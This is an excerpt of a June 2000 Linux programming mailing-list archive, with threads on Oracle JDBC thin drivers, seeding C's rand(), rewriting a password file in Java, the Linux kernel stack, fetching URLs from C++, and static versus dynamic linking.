X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: "linux-india-programmers@lists.linux-india.org" Subject: Re: oracle on linux vs. oracle on NT/win Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/113 Hi Rajeev, As you are planning to use JSPs/Servlets, I can answer from that perspective... > i am asking all this bcuz say, i have a web-server ( say apache+tomcat) > running on linux machines , but we want to use our same oracle server on > NT , then how do we connect to this oracle database thru jsp pages on > the web-server running on linux machines. > You can connect to the Oracle server on NT using JDBC: This suits you as you are using Java (Servlets/JSPz)... You can use the OracleJDBC (Class 4) driver for connecting to the Oracle database on the NT machine. The drivers are available for that. You'll be using some code like this: try { Class.forName ("oracle.jdbc.driver.OracleDriver"); String lsURL ="jdbc:oracle:thin:@your.Nt.Servername:1521:orcl"; dbCon = DriverManager.getConnection(lsURL); System.out.println("****----New Connection returned----***"); } catch(ClassNotFoundException cne) {... } HTH, Rohit -- PLEASE DON'T SMOKE HERE! Penalty: An early, lingering death from cancer, emphysema, or other smoking-caused ailment. From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 22:58:20 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 12E1A3805D for ; Tue, 13 Jun 2000 22:58:10 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id LAA20309 for ; Wed, 14 Jun 2000 11:28:06 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdgiLSGe; Wed Jun 14 11:27:56 2000 Received: from mahindrabt.com ([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id LAA04882 for ; Wed, 14 Jun 2000 11:26:34 +0530 Message-ID: <39471F40.BD8EE0C2@mahindrabt.com> Date: Wed, 14 Jun 2000 11:29:28 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/114 hi rohit thanks a ton buddy, would appreciate if u can send some 'live code' probably a small program that returns few rows from database, also if u r using linux machines , then what web-server ... offline ofcourse. for ur reply and anti-smoking campaign here is one : ------------------------------------ CIGARETTE A sleek beauty without any bend , With a firy top and a brownish end. Country tobacco meshed and filled, Into paper rolled and trimmed . The tobacco burns and the ashes fly , Leaving the lungs wretched and dry. Plenty love it more than gold, Some are young , others are old. In my childhood someone told, Actually its Death, very cheaply sold. ------------------------------------------- Rohit Singh wrote: > > Hi Rajeev, > > As you are planning to use JSPs/Servlets, I can answer from that > perspective... > > > i am asking all this bcuz say, i have a web-server ( say apache+tomcat) > > running on linux machines , but we want to use our same oracle server on > > NT , then how do we connect to this oracle database thru jsp pages on > > the web-server running on linux machines. > > > > You can connect to the Oracle server on NT using JDBC: This suits you as > you are using Java (Servlets/JSPz)... You can use the OracleJDBC (Class > 4) driver for connecting to the Oracle database on the NT machine. The > drivers are available for that. > -- ~!@#$%^&*()_+ of late i have discovered this talent that I am happy the way I am Rajeev Jha Email: rajeevj@mahindrabt.com Tring Tring : +91(20)5424301 Xtn: 1126 web: http://www.rajeevjha.com ----------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 23:01:47 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 1D24738077 for ; Tue, 13 Jun 2000 23:01:40 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id LAA21022 for ; Wed, 14 Jun 2000 11:31:37 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdl6vTho; Wed Jun 14 11:31:33 2000 Received: from mahindrabt.com ([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id LAA07402 for ; Wed, 14 Jun 2000 11:30:13 +0530 Message-ID: <3947201B.DE9EBD4@mahindrabt.com> Date: Wed, 14 Jun 2000 11:33:07 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/115 hi list arun , can u send any links/details pls, nobody uses linux here and don't have net-connection. what is this thin-driver ? a JDBC driver ? would appreciate your help Arun Sharma wrote: > > On Wed, Jun 14, 2000 at 10:59:22AM +0530, Rajeev Jha wrote: > > are the drivers available, if i want to connect to oracle8i database on > > linux from apache+tomcat serving jsp pages ? thank you all for being so > > patient. any queries/links/suggestions/help would be most appreciated > > > > Yes, use the thin driver from Oracle. > > -Arun > > ----------------------------------------------------------------------- > The LIP mailing list archives are available at: > http://lists.linux-india.org/cgi-bin/wilma/linux-india-programmers -- ~!@#$%^&*()_+ of late i have discovered this talent that I am happy the way I am Rajeev Jha Email: rajeevj@mahindrabt.com Tring Tring : +91(20)5424301 Xtn: 1126 web: http://www.rajeevjha.com ----------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 23:04:45 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 5235938163 for ; Tue, 13 Jun 2000 23:04:20 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id LAA21570 for ; Wed, 14 Jun 2000 11:34:17 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdFB0ml7; Wed Jun 14 11:34:11 2000 Received: from mahindrabt.com ([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id LAA09048 for ; Wed, 14 Jun 2000 11:32:51 +0530 Message-ID: <394720B9.E1BA4352@mahindrabt.com> Date: Wed, 14 Jun 2000 11:35:45 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/116 hi list shridhar, this is soln. of Question.partII , if jdbc drivers are available on linux , then i can connect to the database on linux/NT. but the big question remains , namely , what is involved in writing these drivers. no asking for any technicality , the overview ... hope someone replies .... Tia Shridhar Daithankar wrote: > > Hi > > I have never played with RDBMS stuff, and little I know about web > programming, but still a suggestion, since you are using java, > > Could you use Oracle ODBC drivers and jdbc/odbc bridge as Oracle ODBC > drivers are available for linux? I do not know how different it's from > this slution? > > On Tue, 13 Jun 2000, Arun Sharma wrote: > > Yes, use the thin driver from Oracle. > > ----------------------------------------------------------------------- > The LIP mailing list archives are available at: > http://lists.linux-india.org/cgi-bin/wilma/linux-india-programmers -- ~!@#$%^&*()_+ of late i have discovered this talent that I am happy the way I am Rajeev Jha Email: rajeevj@mahindrabt.com Tring Tring : +91(20)5424301 Xtn: 1126 web: http://www.rajeevjha.com ----------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 23:57:33 2000 Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by www.aunet.org (Postfix) with ESMTP id 59F573808B for ; Tue, 13 Jun 2000 23:57:28 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel1.hp.com (Postfix) with ESMTP id ACDBF5E for ; Wed, 14 Jun 2000 02:57:23 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id 31CEC4FD85 for ; Wed, 14 Jun 2000 01:57:19 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id MAA03308 for ; Wed, 14 Jun 2000 12:17:51 +0530 (IST) Message-ID: <39472A96.755F3D51@india.hp.com> Date: Wed, 14 Jun 2000 12:17:50 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: random numbers Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/117 Deepak Yadav wrote: > > my program below generates same set of random numbers every time i run it. i > am using linux 6.2 and its random daemon is ON. plz help > > #include > #include > > int main(int argc, char *argv[]) > { > char ch; > int random; > int i = 0; > srand(1); > while (i < 5 ) > { > random = rand(); > printf("\nrandom : %d\n",random); > i++; > } > printf("\n\n"); > return 0; > } you are seeding the random number generator always with 1. The random number generator generates Pseudo-Random Sequences. With the same seed, the same sequence will be generated. To get some random nos., u should seed the generator with something like say f(timeofday). the man page for random treats this *quite* exhaustively! sachin From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 23:58:25 2000 Received: from bgl2.vsnl.net.in (bgl2.vsnl.net.in [202.54.12.46]) by www.aunet.org (Postfix) with ESMTP id 0EEE938128 for ; Tue, 13 Jun 2000 23:58:21 -0700 (PDT) Received: from linux.sankyasys (PPP-181-237.bng.vsnl.net.in [203.197.181.237]) by bgl2.vsnl.net.in (8.9.3/8.9.3) with ESMTP id MAA28334 for ; Wed, 14 Jun 2000 12:13:16 +0530 (IST) Received: (from kala@localhost) by linux.sankyasys (8.9.3/8.8.7) id MAA02951 for linux-india-programmers@lists.linux-india.org; Wed, 14 Jun 2000 12:24:10 +0530 Date: Wed, 14 Jun 2000 12:24:10 +0530 From: Babu Kalakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Message-ID: <20000614122410.A2721@linux.sankyasys> Mail-Followup-To: linux-india-programmers@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: <394720B9.E1BA4352@mahindrabt.com> X-Operating-System: Linux - Red Hat 6.1 (PCQ) X-Kernel: Kernel 2.2.12-20 on an i686 Organization: Sankya Systems & Objects (P) Ltd., Bangalore, India X-Archive-Number: 200006/118 On Wed, Jun 14, 2000 at 11:35:45AM +0530, Rajeev Jha typed: > hi list > shridhar, this is soln. of Question.partII , if jdbc drivers are > available on linux , then i can connect to the database on linux/NT. but > the big question remains , namely , what is involved in writing these > drivers. no asking for any technicality , the overview ... > JDBC drivers for Oracle can be downloaded from the Oracle website. Make sure you download the "thin" driver - not the "oci" variety. kala From linux-india-programmers-owner@lists.linux-india.org Wed Jun 14 01:33:36 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 8D555380E6 for ; Wed, 14 Jun 2000 01:33:34 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id BAA10655 for linux-india-programmers@lists.linux-india.org; Wed, 14 Jun 2000 01:32:43 -0700 Date: Wed, 14 Jun 2000 01:32:43 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Message-ID: <20000614013243.B10623@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3947201B.DE9EBD4@mahindrabt.com>; from rajeevj@mahindrabt.com on Wed, Jun 14, 2000 at 11:33:07AM +0530 X-Archive-Number: 200006/119 On Wed, Jun 14, 2000 at 11:33:07AM +0530, Rajeev Jha wrote: > hi list > arun , can u send any links/details pls, nobody uses linux here and > don't have net-connection. what is this thin-driver ? a JDBC driver ? Yes. Oracle makes two types of JDBC drivers - thin and OCI8. Thin drivers are 100% pure java. So you can take your NT JDBC driver and use it with Linux. -Arun From linux-india-programmers-owner@lists.linux-india.org Wed Jun 14 10:43:55 2000 Received: from mail.zeenext.com (unknown [203.197.173.3]) by www.aunet.org (Postfix) with ESMTP id 0906238059 for ; Wed, 14 Jun 2000 10:43:36 -0700 (PDT) Received: from pradeep (ddp-11-50.mantraonline.com [202.56.226.50] (may be forged)) by mail.zeenext.com (8.9.3/8.8.7) with SMTP id XAA04105; Wed, 14 Jun 2000 23:11:03 +0530 Message-Id: <4.1.20000614220656.00917a30@mail.zeenext.com> X-Sender: pradeepkanwar@mail.zeenext.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 (Demo) Date: Wed, 14 Jun 2000 23:11:22 +0530 To: linux-india-programmers@lists.linux-india.org, pradeepkanwar@yahoo.com From: Pradeep Subject: Re: random numbers In-Reply-To: <39472A96.755F3D51@india.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Archive-Number: 200006/120 your program is using the same seed value everytime it executes.checkout "man rand" and use time function to get a random seed value.If you think you would be using the funtion more than once within a second then use seed as a static variable+timeofday.even if the funtion is recalled within a second it will never have the same seed.obviously you will also do a seed++ in the function. At 12:17 PM 06/14/2000 +0530, you wrote: >Deepak Yadav wrote: >> >> my program below generates same set of random numbers every time i run it. i >> am using linux 6.2 and its random daemon is ON. plz help >> >> #include >> #include >> >> int main(int argc, char *argv[]) >> { >> char ch; >> int random; >> int i = 0; >> srand(1); >> while (i < 5 ) >> { >> random = rand(); >> printf("\nrandom : %d\n",random); >> i++; >> } >> printf("\n\n"); >> return 0; >> } > >you are seeding the random number generator always with 1. The random >number generator generates Pseudo-Random Sequences. With the same seed, >the same sequence will be generated. > >To get some random nos., u should seed the generator with something like >say f(timeofday). > >the man page for random treats this *quite* exhaustively! > >sachin > >----------------------------------------------------------------------- >The LIP mailing list archives are available at: >http://lists.linux-india.org/cgi-bin/wilma/linux-india-programmers From linux-india-programmers-owner@lists.linux-india.org Wed Jun 14 12:57:52 2000 Received: from giasbgc.vsnl.net.in (giasbgc.vsnl.net.in [202.54.12.163]) by www.aunet.org (Postfix) with ESMTP id 3122838057 for ; Wed, 14 Jun 2000 12:57:35 -0700 (PDT) Received: from cranks ([203.197.183.21]) by giasbgc.vsnl.net.in (8.9.3/8.9.3) with SMTP id BAA28556; Thu, 15 Jun 2000 01:17:44 -0500 (GMT) Message-ID: <002001bfd63c$7f0e7920$15b7c5cb@cranks> Reply-To: "Chetan Gopal Kashinath" From: "Chetan Gopal Kashinath" To: "LIP" Subject: RandomAccessFile Date: Thu, 15 Jun 2000 01:37:52 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200006/121 hi all, as far as my knowledge goes, when we open a file as a RandomAccessFile with "rw" mode in java it only lets us replace the chars in the file and does not let us insert chars in between..... basically i would have stored loginnames and passwords in a file... when a user changes his password from the GUI it should get affected in the file..... since i am able to replace chars only... i can successfully change the password only if the old and new passwords are of the same length.. i may later on want to insert new lines and delete lines how can i do this ??? thank you going through this mail - chetu From linux-india-programmers-owner@lists.linux-india.org Wed Jun 14 21:53:59 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 0E53538053 for ; Wed, 14 Jun 2000 21:53:43 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id JAA13119 for ; Thu, 15 Jun 2000 09:54:34 -0500 (GMT) Received: from delhi.tcs.co.in ([157.227.12.225]) by MAILGG2.delhi.tcs.co.in (Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) with SMTP id 652568FF.001B113F; Mon, 15 Jun 1970 10:25:38 +0530 Message-ID: <3948613C.25D2EDC4@delhi.tcs.co.in> Date: Thu, 15 Jun 2000 10:23:16 +0530 From: Rohit Singh Organization: TCS X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 Cc: LIP Subject: Re: RandomAccessFile Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/122 Hi chetu, you need to do the processing you want, in a different way... Read lines from the passwd file(using readLine), until you reach the line you want to change, and write those lines verbatim to another temporary file. Do the required changes in the line in which you want to change the password, write that line to the temp file, followed by the rest of the lines. Later make the remove the original passwd file, and rename your temp file as the passwd file (doing this as a part of synchronized code, if needed). HTH, Rohit Chetan Gopal Kashinath wrote: > since i am able to replace chars only... i can successfully change the > password only if the old and new passwords are of the same length.. > i may later on want to insert new lines and delete lines > > how can i do this ??? > - chetu -- "In matrimony, to hesitate is sometimes to be saved." -- Butler From linux-india-programmers-owner@lists.linux-india.org Wed Jun 14 23:14:34 2000 Received: from ausmtp02.au.ibm.com (ausmtp02.au.ibm.COM [202.135.136.105]) by www.aunet.org (Postfix) with ESMTP id 85C6C38075 for ; Wed, 14 Jun 2000 23:14:22 -0700 (PDT) Received: from f03n07e.au.ibm.com by ausmtp02.au.ibm.com (IBM AP 1.0) with ESMTP id QAA39276 for ; Thu, 15 Jun 2000 16:08:46 +1000 From: jsojan@in.ibm.com Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67]) by f03n07e.au.ibm.com (8.8.8m3/NCO v4.91) with SMTP id QAA46200 for ; Thu, 15 Jun 2000 16:14:08 +1000 Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id CA2568FF.00223DF9 ; Thu, 15 Jun 2000 16:14:00 +1000 X-Lotus-FromDomain: IBMIN@IBMAU To: linux-india-programmers@lists.linux-india.org Message-ID: Date: Thu, 15 Jun 2000 11:49:39 +0530 Subject: Kernel stack Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/123 Hi, I haven't been able to figure out about how the kernel stack is maintained. From what I read, each task_struct has pointers to both the the kernel stack and process stack, but both these stacks are with respect to a process. what happens during a hardware interrupt?....where is the stack in this case as we enter the kernel mode without a valid "current" pointer? do we "steal" the kernel stack of a process or is there a separate stack to deal with this? Regards, Sojan. From linux-india-programmers-owner@lists.linux-india.org Wed Jun 14 23:49:21 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 2DE2238098 for ; Wed, 14 Jun 2000 23:49:09 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id XAA12381 for linux-india-programmers@lists.linux-india.org; Wed, 14 Jun 2000 23:48:14 -0700 Date: Wed, 14 Jun 2000 23:48:14 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Kernel stack Message-ID: <20000614234814.A12374@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from jsojan@in.ibm.com on Thu, Jun 15, 2000 at 11:49:39AM +0530 X-Archive-Number: 200006/124 On Thu, Jun 15, 2000 at 11:49:39AM +0530, jsojan@in.ibm.com wrote: > Hi, > I haven't been able to figure out about how the kernel stack is > maintained. From what I read, each task_struct has pointers to both the the > kernel stack and process stack, but both these stacks are with respect to a > process. what happens during a hardware interrupt?....where is the stack > in this case as we enter the kernel mode without a valid "current" > pointer? > do we "steal" the kernel stack of a process or is there a separate stack to > deal with this? There is no such thing as a global kernel stack. Each process has it's own user stack and a kernel stack. On Linux, this kernel stack is in the same page as the task struct. In fact, if you look at the #define for "current", you'll see that current is computed by using some bit shifting on kernel's %esp. There is a valid "current" pointer at all times. During interrupts, the kernel uses the stack of the currently executing process. -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 01:37:31 2000 Received: from ausmtp02.au.ibm.com (ausmtp02.au.ibm.COM [202.135.136.105]) by www.aunet.org (Postfix) with ESMTP id DC4B238098 for ; Thu, 15 Jun 2000 01:37:16 -0700 (PDT) Received: from f03n07e.au.ibm.com by ausmtp02.au.ibm.com (IBM AP 1.0) with ESMTP id SAA64586 for ; Thu, 15 Jun 2000 18:31:36 +1000 From: jsojan@in.ibm.com Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67]) by f03n07e.au.ibm.com (8.8.8m3/NCO v4.91) with SMTP id SAA19584 for ; Thu, 15 Jun 2000 18:36:58 +1000 Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id CA2568FF.002F53FD ; Thu, 15 Jun 2000 18:36:56 +1000 X-Lotus-FromDomain: IBMIN@IBMAU To: linux-india-programmers@lists.linux-india.org Message-ID: Date: Thu, 15 Jun 2000 14:08:56 +0530 Subject: Re: Kernel stack Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/125 Hi, The same physical page as the task struct?......could u elaborate please? Rgrds Sojan. >own user stack and a kernel stack. On Linux, this kernel stack is in >the same page as the task struct. In fact, if you look at the #define From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 05:02:09 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 4033D38057 for ; Thu, 15 Jun 2000 05:01:55 -0700 (PDT) Received: from localhost (madhu@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id RAA02066 for ; Thu, 15 Jun 2000 17:31:05 +0530 Date: Thu, 15 Jun 2000 17:31:05 +0530 (IST) From: "Madhu M. Kurup" To: Linux India Programming Subject: URL from C++ Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/126 Folks, I was hoping someone will be able to give me some info on how I could programmatically extract the contents of a URL if you are coding in C++ on Linux. I want to do something on the lines of system("wget http://www.slashdot.org"); But without being so clunky or gross. This is incidentally for the Haiku generation challenge posted at /. ;-) The URL is http://www.dotcomma.org/challenges/challenge.php?id=1 for those who haven't been there yet. Cheerio, M Madhu M Kurup /* Nemo Me Impune Lacessit */ madhu@exocore.com From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 06:30:48 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id BFDB938056 for ; Thu, 15 Jun 2000 06:30:38 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id TAA01521 for ; Thu, 15 Jun 2000 19:00:35 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id SAA13797 for ; Thu, 15 Jun 2000 18:57:11 +0530 Date: Thu, 15 Jun 2000 18:57:11 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Performance issues? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/127 What are the performance differences in statically linked and dynamically linked programs? I need to know this for one of my simulation program before putting it together.. Bye Shridhar From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 08:54:48 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 93C133804E for ; Thu, 15 Jun 2000 08:54:42 -0700 (PDT) Received: from altima (altima-wireless.sharmas.org [192.168.247.2] (may be forged)) by sharmas.dhs.org (8.9.3/8.9.3) with SMTP id IAA13013 for ; Thu, 15 Jun 2000 08:53:51 -0700 Message-ID: <002301bfd6e1$c8f8d6c0$02f7a8c0@altima.sharmas.org> From: "Arun Sharma" To: Subject: Re: Performance issues? Date: Thu, 15 Jun 2000 08:53:01 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200006/128 > > What are the performance differences in statically linked and dynamically >linked programs? I need to know this for one of my simulation program >before putting it together.. > The performance difference is only at startup time. However, if linux implements lazy binding (I'm not sure that it does), there is a small extra penalty, when a symbol is first referenced. Then again, for scientific programs, the performance is always limited by the inner loops. There static vs dynamic doesn't make any difference. Remember, premature optimization is the root of all evil :) -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 08:58:12 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 4812E3805B for ; Thu, 15 Jun 2000 08:58:10 -0700 (PDT) Received: from altima (altima-wireless.sharmas.org [192.168.247.2] (may be forged)) by sharmas.dhs.org (8.9.3/8.9.3) with SMTP id IAA13035 for ; Thu, 15 Jun 2000 08:57:19 -0700 Message-ID: <002901bfd6e2$4503e7a0$02f7a8c0@altima.sharmas.org> From: "Arun Sharma" To: Subject: Re: URL from C++ Date: Thu, 15 Jun 2000 08:56:29 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200006/129 >system("wget http://www.slashdot.org"); > > But without being so clunky or gross. This is incidentally for the >Haiku generation challenge posted at /. ;-) The URL is > >http://www.dotcomma.org/challenges/challenge.php?id=1 > Creating a pipe, then forking and execing and reading from the pipe is the best way I know. If I were you, I'd just use python :-) -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 09:03:10 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 468AF38056 for ; Thu, 15 Jun 2000 09:03:09 -0700 (PDT) Received: from altima (altima-wireless.sharmas.org [192.168.247.2] (may be forged)) by sharmas.dhs.org (8.9.3/8.9.3) with SMTP id JAA13065 for ; Thu, 15 Jun 2000 09:02:18 -0700 Message-ID: <005b01bfd6e2$f73d35c0$02f7a8c0@altima.sharmas.org> From: "Arun Sharma" To: Subject: Re: Kernel stack Date: Thu, 15 Jun 2000 09:01:27 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200006/130 > >>own user stack and a kernel stack. On Linux, this kernel stack is in >>the same page as the task struct. In fact, if you look at the #define > When a new process is created, the kernel needs to allocate the task_struct and a kernel stack. It does this by allocating a single page, using the lower addresses for task_struct and initializing the %esp to the end of the page (stack grows downwards). -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 20:23:48 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id DB86F3805B for ; Thu, 15 Jun 2000 20:23:38 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id IAA20358 for ; Fri, 16 Jun 2000 08:49:59 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id IAA17893 for ; Fri, 16 Jun 2000 08:52:15 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA1018; Fri, 16 Jun 2000 08:53:47 +0530 Date: Fri, 16 Jun 2000 09:02:47 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Shridhar Daithankar Cc: linux-india-programmers@lists.linux-india.org Subject: Re: Performance issues? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/131 + What are the performance differences in statically linked and dynamically + linked programs? I need to know this for one of my simulation program + before putting it together.. These may help you a bit.. Or Sharad. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 22:36:04 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 9FF493804F for ; Thu, 15 Jun 2000 22:35:52 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id LAA04632 for ; Fri, 16 Jun 2000 11:01:43 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id LAA06856 for ; Fri, 16 Jun 2000 11:03:31 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA1EB8 for ; Fri, 16 Jun 2000 11:04:59 +0530 Date: Fri, 16 Jun 2000 11:13:59 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: linux-india-programmers@lists.linux-india.org Subject: file/device i/o in the kernel In-Reply-To: <002301bfd6e1$c8f8d6c0$02f7a8c0@altima.sharmas.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII 